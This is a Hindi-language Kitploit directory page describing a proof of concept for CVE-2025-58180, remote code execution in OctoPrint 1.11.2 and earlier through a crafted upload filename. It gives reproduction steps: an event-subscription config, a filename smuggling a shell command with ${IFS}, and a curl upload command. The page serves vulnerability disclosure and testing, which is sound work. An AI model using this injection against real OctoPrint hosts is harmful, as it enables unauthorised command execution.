Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-58180 — OctoPrint संस्करण <=1.11.2 में, फ़ाइल अपलोड पहुंच रखने वाला हमलावर (जैसे, वैध API कुंजी या सत्र) एक दुर्भावनापूर्ण फ़ाइलनाम बना सकता है जो सैनिटाइज़ेशन को बायपास करता है और बाद में OctoPrint की इवेंट प्रणाली द्वारा निष्पादित किया जाता है, जिससे होस्ट पर रिमोट कोड निष्पादन (RCE) होता है। | Kitploit
उपकरण/GitHubGitHub/prabhatverma47/cve-2025-58180
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोल
GitHubprabhatverma47/cve-2025-58180

CVE-2025-58180

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
1 साल पहलेअभी तक समीक्षित नहीं

विवरण

OctoPrint संस्करण <=1.11.2 में, फ़ाइल अपलोड पहुंच रखने वाला हमलावर (जैसे, वैध API कुंजी या सत्र) एक दुर्भावनापूर्ण फ़ाइलनाम बना सकता है जो सैनिटाइज़ेशन को बायपास करता है और बाद में OctoPrint की इवेंट प्रणाली द्वारा निष्पादित किया जाता है, जिससे होस्ट पर रिमोट कोड निष्पादन (RCE) होता है।

साझा करें

CVE-2025-58180: फ़ाइल अपलोड में अस्वच्छित फ़ाइलनाम के माध्यम से OctoPrint में RCE

OctoPrint संस्करण <=1.11.2 में, फ़ाइल अपलोड एक्सेस (जैसे, मान्य API कुंजी या सत्र) वाला हमलावर एक दुर्भावनापूर्ण फ़ाइलनाम तैयार कर सकता है जो सैनिटाइज़ेशन को बायपास करता है और बाद में OctoPrint की इवेंट प्रणाली द्वारा निष्पादित किया जाता है, जिससे होस्ट पर रिमोट कोड निष्पादन (RCE) होता है


PoC: भेद्यता को दोहराने के चरण

चरण 1: संस्करण जानकारी

नवीनतम स्थिर रिलीज़ डाउनलोड की गई: OctoPrint 1.11.2

छवि

चरण 2: OctoPrint चलाएँ

root@kitploit:~
octoprint serve --port 5000 --debug
  • ब्राउज़र में http://127.0.0.1:5000 खोलें।
  • प्रारंभिक विज़ार्ड से आगे बढ़ें → डिफ़ॉल्ट सेटिंग्स के साथ उपयोगकर्ता बनाएँ (अक्षम: कनेक्टिविटी, anonymous, प्लगइन)।
  • Settings → API से API कुंजी प्राप्त करें → बाद के लिए सेव करें। छवि

उपरोक्त चरण पूरे हो जाने पर OctoPrint सेवा को रोक दें।


चरण 3: इवेंट सब्सक्रिप्शन कॉन्फ़िगर करें

OctoPrint इवेंट दस्तावेज़ीकरण के अनुसार:

~/.octoprint/config.yaml संपादित करें:

root@kitploit:~
events:
  enabled: true
  subscriptions:
    - event: FileAdded
      type: system
      debug: true
      command: "{path}"
छवि

चरण 4: नमूना G-code बनाएँ

/tmp/gcode/ok.gcode बनाएँ:

root@kitploit:~
; minimal gcode
G28
M105

OctoPrint सेवा पुनः प्रारंभ करें।


चरण 5: प्रूफ ऑफ कॉन्सेप्ट RCE

  1. API कुंजी निर्यात करें:
root@kitploit:~
export API_KEY='<key previously gathered from webUI>'
  1. सत्यापित करें कि फ़ाइल मौजूद नहीं है:
root@kitploit:~
ls -la /tmp/test123
  1. दुर्भावनापूर्ण फ़ाइलनाम पेलोड तैयार करें:
    INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

स्पष्टीकरण: ${IFS} शेल का आंतरिक क्षेत्र विभाजक (Internal Field Separator) है (सामान्यतः एक स्पेस)। इंजेक्ट होने पर यह सैनिटाइज़ेशन को बायपास करता है।

  1. curl अनुरोध भेजें:
root@kitploit:~
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
  -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
  "http://127.0.0.1:5000/api/files/local"
  1. निष्पादन सत्यापित करें:
root@kitploit:~
ls -la /tmp/test123
छवि

यदि /tmp/test123 मौजूद है, तो इंजेक्ट किया गया कमांड सफलतापूर्वक निष्पादित हुआ → RCE की पुष्टि।


प्रवाह की व्याख्या

root@kitploit:~
[User upload with crafted filename]
        │
        ▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
        │
        ▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
        │
        ▼
system command subscriber → subprocess.check_call(..., shell=True)
        │
        ▼
[Injected shell metacharacters execute as OS commands]

सारांश

जब कोई फ़ाइल अपलोड की जाती है:

  1. OctoPrint फ़ाइलनाम को स्वीकार करता है (सीमित सैनिटाइज़ेशन के साथ)।
  2. यह एक FileAdded इवेंट ट्रिगर करता है।
  3. यदि इस इवेंट के लिए सिस्टम कमांड सब्सक्राइब किए गए हैं, तो कच्चा फ़ाइलनाम (;, ${IFS}, आदि सहित) एक शेल में पास किया जाता है।
  4. यह फ़ाइलनाम के अंदर इंजेक्ट किए गए कमांड को होस्ट पर निष्पादित करने की अनुमति देता है।

परिणाम: होस्ट सिस्टम पर रिमोट कोड निष्पादन (RCE)।

संदर्भ

  • CVE निर्दिष्ट: (CVE-2025-58180) GHSA-49mj-x8jp-qvfc
  • पैच किया गया संस्करण: 1.11.3

टूल डाउनलोड करें